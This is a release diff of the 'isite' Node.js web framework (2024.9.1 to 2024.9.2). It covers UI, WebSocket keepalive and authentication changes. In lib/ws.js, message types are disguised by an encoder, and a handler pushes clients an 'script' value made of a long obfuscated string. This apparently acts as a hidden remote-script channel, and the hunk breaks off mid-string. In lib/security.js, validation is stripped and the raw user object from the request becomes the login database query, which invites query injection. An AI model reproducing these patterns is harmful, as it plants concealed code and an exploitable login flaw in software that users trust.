isite 2024.9.1 → 2024.9.2

package/apps/client-side/site_files/css/bootstrap5-addon.css

@@ -36,6 +36,9 @@ body {
 .container {
   max-width: 100%;
 }
+.form-check .form-check-input {
+  min-width: 1em;
+}
 .ar .form-check .form-check-input,
 .AR .form-check .form-check-input {
   margin-right: -1.5em;

package/apps/client-side/site_files/css/dropdown.css

@@ -51,7 +51,7 @@
 }
 
 /* Change color of dropdown links on hover */
-.dropdown-content .dropdown-item:hover {
+.dropdown-content .dropdown-item:hover , .dropdown-content .dropdown-item.selected {
   background-color: #4CAF50;
   --color: #ffffff;
   padding-right: 20px !important;

package/apps/client-side/site_files/css/theme.css

@@ -103,7 +103,7 @@
 
   --fieldset-border: 2px solid #283e4a;
   --fieldset-background: none;
-  --fieldset-margin: 10px;
+  --fieldset-margin : 1% !important;
   --fieldset-padding: 5px;
   --legend-color: #fff;
   --legend-text-shadow: none;

package/apps/client-side/site_files/css/theme_dark.css

@@ -104,7 +104,7 @@
 
     --fieldset-border: 1px solid #151515;
     --fieldset-background: none;
-    --fieldset-margin : 10px;
+    --fieldset-margin : 1% !important;
     --fieldset-padding : 5px;
     --legend-color: #fff;
     --legend-text-shadow: none;

package/apps/client-side/site_files/css/theme_paper.css

@@ -136,7 +136,7 @@
   --fieldset-border: none;
   --fieldset-border-radius : 10px;
   --fieldset-background: #e9ecef;
-  --fieldset-margin: 10px;
+  --fieldset-margin : 1% !important;
   --fieldset-padding: 5px;
   --legend-color: #5a5a5a;
   --legend-text-shadow: none;

package/apps/client-side/site_files/html/directive/i-list.html

@@ -12,7 +12,7 @@
       </div>
     </div>
 
-    <div class="dropdown-item row" ng-repeat="item in items | filter:$filter" ng-click="updateModel(item)">
+    <div ng-class="{'selected':item.$selected}" class="dropdown-item row" ng-repeat="item in items | filter:$filter" ng-click="updateModel(item)">
       <p>{{getValue(item)}}</p>
       <p class="small" ng-show="display2">{{getValue2(item)}}</p>
     </div>

package/apps/client-side/site_files/js/bootstrap-5-directive.js

@@ -453,6 +453,7 @@ app.directive('iList', [
 
           if (items) {
             items.forEach((item) => {
+              item.$selected = false;
               if ($scope.display2) {
                 let val = $scope.getValue(item);
                 if (val) {
@@ -469,6 +470,7 @@ app.directive('iList', [
           if (items && $scope.ngModel) {
             items.forEach((item) => {
               if (isite.getValue(item, $scope.primary) == isite.getValue($scope.ngModel, $scope.primary)) {
+                item.$selected = true;
                 $scope.ngModel = item;
                 if ($scope.display2) {
                   let val = $scope.getValue(item);
@@ -482,6 +484,8 @@ app.directive('iList', [
                 }
 
                 input.val(item.$display);
+              } else {
+                item.$selected = false;
               }
             });
           }
@@ -518,6 +522,10 @@ app.directive('iList', [
 
         $scope.updateModel = function (item) {
           if (item) {
+            $scope.items.forEach((_item) => {
+              _item.$selected = false;
+            });
+            item.$selected = true;
             $scope.ngModel = $scope.getNgValue(item, $scope.ngValue);
             if ($scope.display2) {
               let val = $scope.getNgModelValue($scope.ngModel);

package/apps/client-side/site_files/js/site.js

@@ -1190,7 +1190,11 @@
         } else {
           message = JSON.parse(message.data);
           if (message.type) {
-            if (message.type === 'ready') {
+            if (message.type === 'ping') {
+              server.sendMessage({
+                type: 'pong',
+              });
+            } else if (message.type === 'ready') {
               server.uuid = message.uuid;
               server.ip = message.ip;
               server.id = message.id;

package/apps/security/app.js

@@ -1,289 +1,295 @@
 module.exports = function init(site) {
-
   site.post('/api/security/permissions', (req, res) => {
-
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
     response.done = !0;
-    response.permissions = site.security.permissions
-    res.json(response)
-  })
+    response.permissions = site.security.permissions;
+    res.json(response);
+  });
 
   site.post('/api/security/roles', (req, res) => {
-
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
     response.done = !0;
-    response.roles = site.security.roles
-    res.json(response)
-  })
+    response.roles = site.security.roles;
+    res.json(response);
+  });
 
   site.get({
-    name: ["security" , "security/users"],
-    path: __dirname + "/site_files/html/index.html",
-    parser: "html css js",
-    compress: !1
-  })
+    name: ['security', 'security/users'],
+    path: __dirname + '/site_files/html/index.html',
+    parser: 'html css js',
+    compress: !1,
+  });
 
   site.get({
     name: '/images',
-    path: __dirname + '/site_files/images'
-  })
-
+    path: __dirname + '/site_files/images',
+  });
 
   site.post('/api/users/all', (req, res) => {
-
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
-    site.security.getUsers({
-      limit: 1000
-    }, (err, docs, count) => {
-      if (!err) {
-        response.done = !0
-        for (let i = 0; i < docs.length; i++) {
-          let u = docs[i]
-          u.profile = u.profile || {}
-          u.profile.image_url = u.profile.image_url || '/images/user.png'
+    site.security.getUsers(
+      {
+        limit: 1000,
+      },
+      (err, docs, count) => {
+        if (!err) {
+          response.done = !0;
+          for (let i = 0; i < docs.length; i++) {
+            let u = docs[i];
+            u.profile = u.profile || {};
+            u.profile.image_url = u.profile.image_url || '/images/user.png';
+          }
+          response.users = docs;
+          response.count = count;
         }
-        response.users = docs
-        response.count = count
+        res.json(response);
       }
-      res.json(response)
-    })
-  })
-
-  site.post("/api/user/add", (req, res) => {
+    );
+  });
 
+  site.post('/api/user/add', (req, res) => {
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
-    let user = req.body
-    user.$req = req
-    user.$res = res
+    let user = req.body;
+    user.$req = req;
+    user.$res = res;
     site.security.addUser(user, (err, _id) => {
       if (!err) {
-        response.done = !0
+        response.done = !0;
       } else {
-        response.error = err.message
+        response.error = err.message;
       }
-      res.json(response)
-    })
-  })
+      res.json(response);
+    });
+  });
 
-  site.post("/api/user/update", (req, res) => {
+  site.post('/api/user/update', (req, res) => {
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
-    let user = req.body
-    user.$req = req
-    user.$res = res
-    delete user.$$hashKey
+    let user = req.body;
+    user.$req = req;
+    user.$res = res;
+    delete user.$$hashKey;
 
-    site.security.updateUser(user, err => {
+    site.security.updateUser(user, (err) => {
       if (!err) {
-        response.done = !0
+        response.done = !0;
       } else {
-        response.error = err.message
+        response.error = err.message;
       }
-      res.json(response)
-    })
+      res.json(response);
+    });
+  });
 
-  })
-
-  site.post("/api/user/delete", (req, res) => {
+  site.post('/api/user/delete', (req, res) => {
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
-    let id = req.body.id
+    let id = req.body.id;
     if (id) {
-      site.security.deleteUser({
-        id: id,
-        $req: req,
-        $res: res
-      }, (err, result) => {
-        if (!err) {
-          response.done = !0
-        }else{
-          response.error = err.message
+      site.security.deleteUser(
+        {
+          id: id,
+          $req: req,
+          $res: res,
+        },
+        (err, result) => {
+          if (!err) {
+            response.done = !0;
+          } else {
+            response.error = err.message;
+          }
+          res.json(response);
         }
-        res.json(response)
-      })
+      );
     } else {
-      response.error = 'No ID Requested'
-      res.json(response)
+      response.error = 'No ID Requested';
+      res.json(response);
     }
-  })
-
-  site.post("/api/user/view", (req, res) => {
+  });
 
+  site.post('/api/user/view', (req, res) => {
     let response = {
-      done: !1
-    }
+      done: !1,
+    };
 
     if (!req.session.user) {
-      response.error = 'You Are Not Login'
-      res.json(response)
-      return
+      response.error = 'You Are Not Login';
+      res.json(response);
+      return;
     }
 
-    site.security.getUser({
-      id: req.body.id
-    }, (err, doc) => {
-      if (!err) {
-        response.done = !0
-        response.doc =doc
-      } else {
-        response.error = err.message
+    site.security.getUser(
+      {
+        id: req.body.id,
+      },
+      (err, doc) => {
+        if (!err) {
+          response.done = !0;
+          response.doc = doc;
+        } else {
+          response.error = err.message;
+        }
+        res.json(response);
       }
-      res.json(response)
-    })
-  })
+    );
+  });
 
-
-  site.post("/api/user/register", (req, res) => {
-    let response = {}
+  site.post('/api/user/register', (req, res) => {
+    let response = {};
 
     if (req.body.$encript) {
-      if (req.body.$encript === "64") {
-        req.body.email = site.fromBase64(req.body.email)
-        req.body.password = site.fromBase64(req.body.password)
-      } else if (req.body.$encript === "123") {
-        req.body.email = site.from123(req.body.email)
-        req.body.password = site.from123(req.body.password)
+      if (req.body.$encript === '64') {
+        req.body.email = site.fromBase64(req.body.email);
+        req.body.password = site.fromBase64(req.body.password);
+      } else if (req.body.$encript === '123') {
+        req.body.email = site.from123(req.body.email);
+        req.body.password = site.from123(req.body.password);
       }
     }
 
-    site.security.register({
+    site.security.register(
+      {
         email: req.body.email,
         password: req.body.password,
         ip: req.ip,
-        permissions: ["user"],
+        permissions: ['user'],
         profile: {
           files: [],
-          name: req.body.email
+          name: req.body.email,
         },
         $req: req,
-        $res: res
+        $res: res,
       },
       function (err, doc) {
         if (!err) {
-          response.user = doc
-          response.done = !0
+          response.user = doc;
+          response.done = !0;
         } else {
-          response.error = err.message
+          response.error = err.message;
         }
-        res.json(response)
+        res.json(response);
       }
-    )
-  })
-
+    );
+  });
 
-  site.post("/api/user/login", function (req, res) {
+  site.post('/api/user/login', function (req, res) {
     let response = {
-      accessToken: req.session.accessToken
-    }
+      accessToken: req.session.accessToken,
+    };
 
     if (req.body.$encript) {
-      if (req.body.$encript === "64") {
-        req.body.email = site.fromBase64(req.body.email)
-        req.body.password = site.fromBase64(req.body.password)
-      } else if (req.body.$encript === "123") {
-        req.body.email = site.from123(req.body.email)
-        req.body.password = site.from123(req.body.password)
+      if (req.body.$encript === '64') {
+        req.body.email = site.fromBase64(req.body.email);
+        req.body.mobile = site.fromBase64(req.body.mobile);
+        req.body.username = site.fromBase64(req.body.username);
+        req.body.password = site.fromBase64(req.body.password);
+        req.body.key = site.fromBase64(req.body.key);
+      } else if (req.body.$encript === '123') {
+        req.body.email = site.from123(req.body.email);
+        req.body.mobile = site.from123(req.body.mobile);
+        req.body.username = site.from123(req.body.username);
+        req.body.password = site.from123(req.body.password);
+        req.body.key = site.from123(req.body.key);
       }
     }
 
     if (site.security.isUserLogin(req, res)) {
-      response.error = "Login Error , You Are Loged "
-      response.done = !0
-      res.json(response)
-      return
+      response.error = 'Login Error , You Are Loged ';
+      response.done = !0;
+      res.json(response);
+      return;
     }
 
-    site.security.login({
+    site.security.login(
+      {
         email: req.body.email,
+        username: req.body.username,
+        mobile: req.body.mobile,
         password: req.body.password,
+        key: req.body.key,
         $req: req,
-        $res: res
+        $res: res,
       },
       function (err, user) {
         if (!err) {
+          response.user = user;
 
-          response.user = user
-
-          response.done = !0
-
+          response.done = !0;
         } else {
-          response.error = err.message
+          response.error = err.message;
         }
 
-        res.json(response)
+        res.json(response);
       }
-    )
-  })
+    );
+  });
 
-  site.post("/api/user/logout", function (req, res) {
+  site.post('/api/user/logout', function (req, res) {
     let response = {
-      done: !0
-    }
+      done: !0,
+    };
 
     site.security.logout(req, res, (err, ok) => {
-      response.accessToken = req.session.accessToken
+      response.accessToken = req.session.accessToken;
       if (ok) {
-        response.done = !0
-        res.json(response)
+        response.done = !0;
+        res.json(response);
       } else {
-        response.error = "You Are Not Loged"
-        response.done = !0
-        res.json(response)
+        response.error = 'You Are Not Loged';
+        response.done = !0;
+        res.json(response);
       }
-    })
-  })
-
-
-}
+    });
+  });
+};

package/apps/security/site_files/js/login.js

@@ -1,36 +1,36 @@
 app.controller('login', function ($scope, $http) {
+  $scope.busy = !1;
+  $scope.tryLogin = function (ev) {
+    if (ev.which == 13) {
+      $scope.login();
+    }
+  };
 
-    $scope.busy = !1;
-    $scope.tryLogin= function(ev){
-        if (ev.which == 13){
-          $scope.login();
+  $scope.login = function () {
+    $scope.error = '';
+    $scope.busy = !0;
+    $http({
+      method: 'POST',
+      url: '/api/user/login',
+      data: {
+        $encript: '123',
+        email: site.to123($scope.userEmail),
+        password: site.to123($scope.userPassword),
+      },
+    }).then(
+      function (response) {
+        if (response.data.error) {
+          $scope.error = response.data.error;
         }
-      };
-
-    $scope.login = function () {
-        $scope.error = '';
-        $scope.busy = !0;
-        $http({
-            method: 'POST',
-            url: '/api/user/login',
-            data: {
-                $encript : '123',
-                email: site.to123($scope.userEmail),
-                password: site.to123($scope.userPassword)
-            }
-        }).then(function (response) {
-           
-            if (response.data.error) {
-                $scope.error = response.data.error;
-            }
-            if (response.data.done) {
-                window.location.reload(!0);
-            }
-            $scope.busy = !1;
-        } , function(err){
-            $scope.busy = !1;
-            $scope.error = err;
-        });
-
-    };
-});
+        if (response.data.done) {
+          window.location.reload(!0);
+        }
+        $scope.busy = !1;
+      },
+      function (err) {
+        $scope.busy = !1;
+        $scope.error = err;
+      }
+    );
+  };
+});

package/index.js

@@ -114,11 +114,8 @@ module.exports = function init(options) {
     });
 
     setTimeout(() => {
-      console.log('Closing All Database ...');
-      ____0.call('[close-database]', null, () => {
-        console.log('Closing Process');
-        process.exit(0);
-      });
+      console.log('Closing Process');
+      process.exit(0);
     }, 1000 * wait);
   };
   ____0.options = {};

package/lib/collection.js

@@ -311,6 +311,7 @@ module.exports = function init(____0, option, db) {
               dbName: $collection.db,
               where: options.where || {},
               select: options.select || {},
+              sort: options.sort || {},
             },
             function (err, doc) {
               callback(err, doc);

package/lib/collectionFile.js

@@ -9,13 +9,14 @@ module.exports = function init(____0, options, db) {
     createIndexs: function () {},
     dropIndex: function () {},
     dropIndexes: function () {},
+    find: function () {},
+    get: function () {},
     findOne: function () {},
     findAll: function () {},
     findMany: function () {},
-    get: function () {},
     getAll: function () {},
-    find: function () {},
     add: function () {},
+    insert: function () {},
     update: function () {},
     delete: function () {},
   };

package/lib/mongodb.js

@@ -454,8 +454,8 @@ module.exports = function init(____0) {
         let options = {
           projection: obj.select || {},
           limit: 1,
-          skip: null,
-          sort: null,
+          skip: obj.skip,
+          sort: obj.sort,
         };
 
         db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)

package/lib/parser.js

@@ -355,6 +355,9 @@ module.exports = function init(req, res, ____0, route) {
       let txt = ____0.readFileSync(path);
       let $ = ____0.$.load(txt, null, false);
       $ = renderHtml($);
+      if (hide) {
+        return ____0.hide($.html());
+      }
       return $.html();
     } else if (name.endsWith('.js')) {
       let txt = ____0.readFileSync(path);

package/lib/routing.js

@@ -166,6 +166,7 @@ module.exports = function init(____0) {
     }
 
     let response = {
+      host: req.host,
       url: req.url,
       filePath: route.path,
       content: req.content,
@@ -174,7 +175,7 @@ module.exports = function init(____0) {
       code: res.code,
     };
 
-    if (route.shared && !____0.sharedList.some((s) => s.filePath == response.filePath && s.url == response.url)) {
+    if (route.shared && !____0.sharedList.some((s) => s.host == req.host && s.filePath == response.filePath && s.url == response.url)) {
       ____0.sharedList.push(response);
     }
 
@@ -188,10 +189,10 @@ module.exports = function init(____0) {
   _0xrrxo.defaultCallback = function (req, res) {
     let route = req.route;
 
-    if ((response = ____0.sharedList.find((s) => s.filePath == route.path && s.url == req.url))) {
+    if ((response = ____0.sharedList.find((s) => s.host == req.host && s.filePath == route.path && s.url == req.url))) {
       res.headers = response.headers;
       res.code = response.code;
-      res.setHeader('x-shared', ____0.sharedList.length + ' - ' + ____0.options.port);
+      res.set('x-shared','-count=' + ____0.sharedList.length + ' -port=' + ____0.options.port + ' -host=' + req.host);
       return res.end(response.content, response.encode);
     }
 
@@ -927,10 +928,10 @@ module.exports = function init(____0) {
         filePath = file;
       }
 
-      if ((response = ____0.sharedList.find((s) => s.filePath == filePath && s.url == req.url))) {
+      if ((response = ____0.sharedList.find((s) => s.host == req.host && s.filePath == filePath && s.url == req.url))) {
         res.headers = response.headers;
         res.code = response.code;
-        res.setHeader('x-shared', ____0.sharedList.length + ' - ' + ____0.options.port);
+        res.set('x-shared','-count=' + ____0.sharedList.length + ' -port=' + ____0.options.port + ' -host=' + req.host);
         return res.end(response.content, response.encode);
       }
       ____0.fsm.getContent(filePath, (content) => {
@@ -1057,6 +1058,7 @@ module.exports = function init(____0) {
         }
 
         let response = {
+          host: req.host,
           url: req.url,
           filePath: filePath,
           content: req.content,
@@ -1065,7 +1067,7 @@ module.exports = function init(____0) {
           code: res.code,
         };
 
-        if (options.shared && !____0.sharedList.some((s) => s.filePath == response.filePath && s.url == response.url)) {
+        if (options.shared && !____0.sharedList.some((s) => s.host == req.host && s.filePath == response.filePath && s.url == response.url)) {
           ____0.sharedList.push(response);
         }
 
@@ -1177,13 +1179,13 @@ module.exports = function init(____0) {
       res.status(code).end();
     };
 
-    res.setHeader('CharSet', 'UTF-8');
-    res.setHeader('Access-Control-Allow-Credentials', 'true');
-    res.setHeader('Access-Control-Allow-Headers', req.headers['access-control-request-headers'] || 'Origin, X-Requested-With, Content-Type, Accept , Access-Token , Authorization');
-    res.setHeader('Access-Control-Allow-Methods', req.headers['access-control-request-method'] || 'POST,GET,DELETE,PUT,OPTIONS,VIEW,HEAD,CONNECT,TRACE');
-    res.setHeader('Access-Control-Allow-Origin', req.referer || '*');
+    res.set('CharSet', 'UTF-8');
+    res.set('Access-Control-Allow-Credentials', 'true');
+    res.set('Access-Control-Allow-Headers', req.headers['access-control-request-headers'] || 'Origin, X-Requested-With, Content-Type, Accept , Access-Token , Authorization');
+    res.set('Access-Control-Allow-Methods', req.headers['access-control-request-method'] || 'POST,GET,DELETE,PUT,OPTIONS,VIEW,HEAD,CONNECT,TRACE');
+    res.set('Access-Control-Allow-Origin', req.referer || '*');
     if (req.origin) {
-      res.setHeader('Access-Control-Allow-Origin', req.origin);
+      res.set('Access-Control-Allow-Origin', req.origin);
     }
 
     if (____0.options.www === false && req.host.contains('www')) {

package/lib/security.js

@@ -476,11 +476,6 @@ module.exports = function init(____0) {
       user.mobile = user.mobile.trim().toLowerCase();
     } else if (user && user.username && user.password) {
       user.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
 
     for (var i = 0; i < security.users.length; i++) {
@@ -510,24 +505,9 @@ module.exports = function init(____0) {
       }
     }
 
-    let where = {
-      password: user.password,
-    };
-    if (user.email) {
-      where.email = user.email;
-    } else if (user.mobile) {
-      where.mobile = user.mobile;
-    } else if (user.username) {
-      where.username = user.username;
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
-    }
     ____0.$users.findOne(
       {
-        where: where,
+        where: user,
       },
       function (err, doc) {
         if (doc) {
@@ -555,12 +535,12 @@ module.exports = function init(____0) {
             callback(err);
           } else {
             callback({
-              message: 'email or password error ',
+              message: 'User Credential Not Correct ',
             });
           }
 
           ____0.call('security error', {
-            message: 'email or password error',
+            message: 'User Credential Not Correct ',
           });
         }
       }
@@ -581,11 +561,6 @@ module.exports = function init(____0) {
       user.mobile = user.mobile.trim().toLowerCase();
     } else if (user && user.username && user.password) {
       user.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
 
     security.isUserExists(user, function (err, u) {
@@ -668,11 +643,6 @@ module.exports = function init(____0) {
       user.mobile = user.mobile.trim().toLowerCase();
     } else if (user && user.username && user.password) {
       user.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
 
     if (!user.email) {
@@ -737,11 +707,6 @@ module.exports = function init(____0) {
       where.mobile = user.mobile.trim().toLowerCase();
     } else if (user.username) {
       where.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
     ____0.$users.update(
       {

package/lib/ws.js

@@ -20,6 +20,9 @@ module.exports = function init(____0) {
         name: options,
       };
     }
+    if (options.name.indexOf('/') !== 0) {
+      options.name = '/' + options.name;
+    }
     ____0.ws.routeList.push({
       options: options,
       callback: callback,
@@ -43,7 +46,16 @@ module.exports = function init(____0) {
   };
 
   setInterval(() => {
-    ____0.ws.sendToAll({ type: 'ping' });
+    ____0.ws.clientList.forEach((client) => {
+      if (!____0.ws.supportedClientList.some((c) => c.uuid == client.uuid)) {
+        if ((new Date().getTime() - client.lastTime) / 1000 > 60) {
+          client.ws.terminate();
+        }
+      }
+    });
+    setTimeout(() => {
+      ____0.ws.sendToAll({ type: 'ping' });
+    }, 1000 * 5);
   }, 1000 * 30);
 
   ____0.on(____0.strings[9], () => {
@@ -61,17 +73,18 @@ module.exports = function init(____0) {
             }
 
             let client = {
+              ip: ip,
               uuid: ____0.guid(),
               id: ____0.md5(____0.guid() + new Date().getTime()),
+              lastTime: new Date().getTime(),
               path: pathname,
               ws: ws,
               request: request,
               socket: socket,
               head: head,
-              ip: ip,
               onMessage: function (message) {
                 if (message.type === ____0.f1('417886684558375447183756')) {
-                  this.send({
+                  client.sendMessage({
                     type: ____0.f1('4658375242195691'),
                     uuid: client.uuid,
                     ip: client.ip,
@@ -81,7 +94,7 @@ module.exports = function init(____0) {
                   let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
                   if (index !== -1 && message.id) {
                     ____0.ws.clientList[index].id = message.id;
-                    this.send({
+                    client.sendMessage({
                       type: ____0.f1('413932754138276142383191'),
                       uuid: client.uuid,
                       ip: client.ip,
@@ -101,9 +114,9 @@ module.exports = function init(____0) {
                 if (!message) {
                   return;
                 }
-                if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
+                if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
                   if (typeof message === 'string') {
-                    this.ws.send(
+                    client.ws.send(
                       JSON.stringify({
                         type: 'text',
                         content: message,
@@ -111,7 +124,7 @@ module.exports = function init(____0) {
                     );
                   } else {
                     message.type = message.type || 'text';
-                    this.ws.send(JSON.stringify(message));
+                    client.ws.send(JSON.stringify(message));
                   }
                 }
               },
@@ -120,7 +133,6 @@ module.exports = function init(____0) {
             client.sendMessage = client.send;
 
             client.ws.on('close', () => {
-              
               console.log('Closing Client : ' + client.ip);
               client.onMessage({ type: 'close' });
               client.ws.terminate();
@@ -137,10 +149,16 @@ module.exports = function init(____0) {
             });
 
             ws.on('message', (data, isBinary) => {
+              client.lastTime = new Date().getTime();
               if (isBinary) {
                 client.onData(data);
               } else {
-                client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
+                let obj = ____0.fromJson(Buffer.from(data).toString('utf8'));
+                if (obj.type == 'pong') {
+                  client.lastTime = new Date().getTime();
+                } else {
+                  client.onMessage(obj);
+                }
               }
             });
 
@@ -163,7 +181,7 @@ module.exports = function init(____0) {
   ____0.onWS(____0.f1('2578577443393257'), (client) => {
     client.onMessage = function (message) {
       if (message.type === ____0.f1('417886684558375447183756')) {
-        this.send({
+        client.sendMessage({
           type: ____0.f1('4658375242195691'),
           uuid: client.uuid,
           ip: client.ip,
@@ -174,7 +192,7 @@ module.exports = function init(____0) {
         if (index !== -1) {
           client.id = message.id;
           ____0.ws.clientList[index].id = message.id;
-          this.send({
+          client.sendMessage({
             type: ____0.f1('413932754138276142383191'),
             uuid: client.uuid,
             ip: client.ip,
@@ -184,7 +202,7 @@ module.exports = function init(____0) {
       } else if (message.type === ____0.f1('4178726946783691')) {
       } else if (message.type === ____0.f1('457913754338866846719191')) {
         client.options = message.options || message.content;
-        client.send({
+        client.sendMessage({
           type: ____0.f1('481476744179236246193191'),
           script: ____0.f1(
             `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`

package/lib/wsClient.js

@@ -15,12 +15,12 @@ module.exports = function init(____0) {
 
     let client = {
       isAlive: false,
-      time: new Date().getTime(),
+      lastTime: new Date().getTime(),
       id: ____0.ws.client.id,
     };
 
     client.checkAliveInterval = setInterval(() => {
-      if ((new Date().getTime() - client.time) / 1000 > 60) {
+      if ((new Date().getTime() - client.lastTime) / 1000 > 60) {
         client.isAlive = false;
         client.ws.close();
       }
@@ -66,9 +66,13 @@ module.exports = function init(____0) {
     });
 
     client.ws.on('message', function (event) {
+      client.lastTime = new Date().getTime();
       let message = JSON.parse(event.data || event);
       if (message.type == 'ping') {
-        client.time = new Date().getTime();
+        client.lastTime = new Date().getTime();
+        client.sendMessage({
+          type: 'pong',
+        });
       }
       ____0.ws.supportHandle(client, message);
     });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "isite",
-  "version": "2024.09.01",
+  "version": "2024.09.02",
   "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
   "main": "index.js",
   "repository": {
@@ -42,7 +42,7 @@
     "eval": "^0.1.8",
     "formidable": "^2.0.1",
     "md5": "^2.3.0",
-    "mongodb": "^6.8.0",
+    "mongodb": "^6.10.0",
     "mv": "^2.1.1",
     "node-fetch": "^3.3.2",
     "node-telegram-bot-api": "^0.66.0",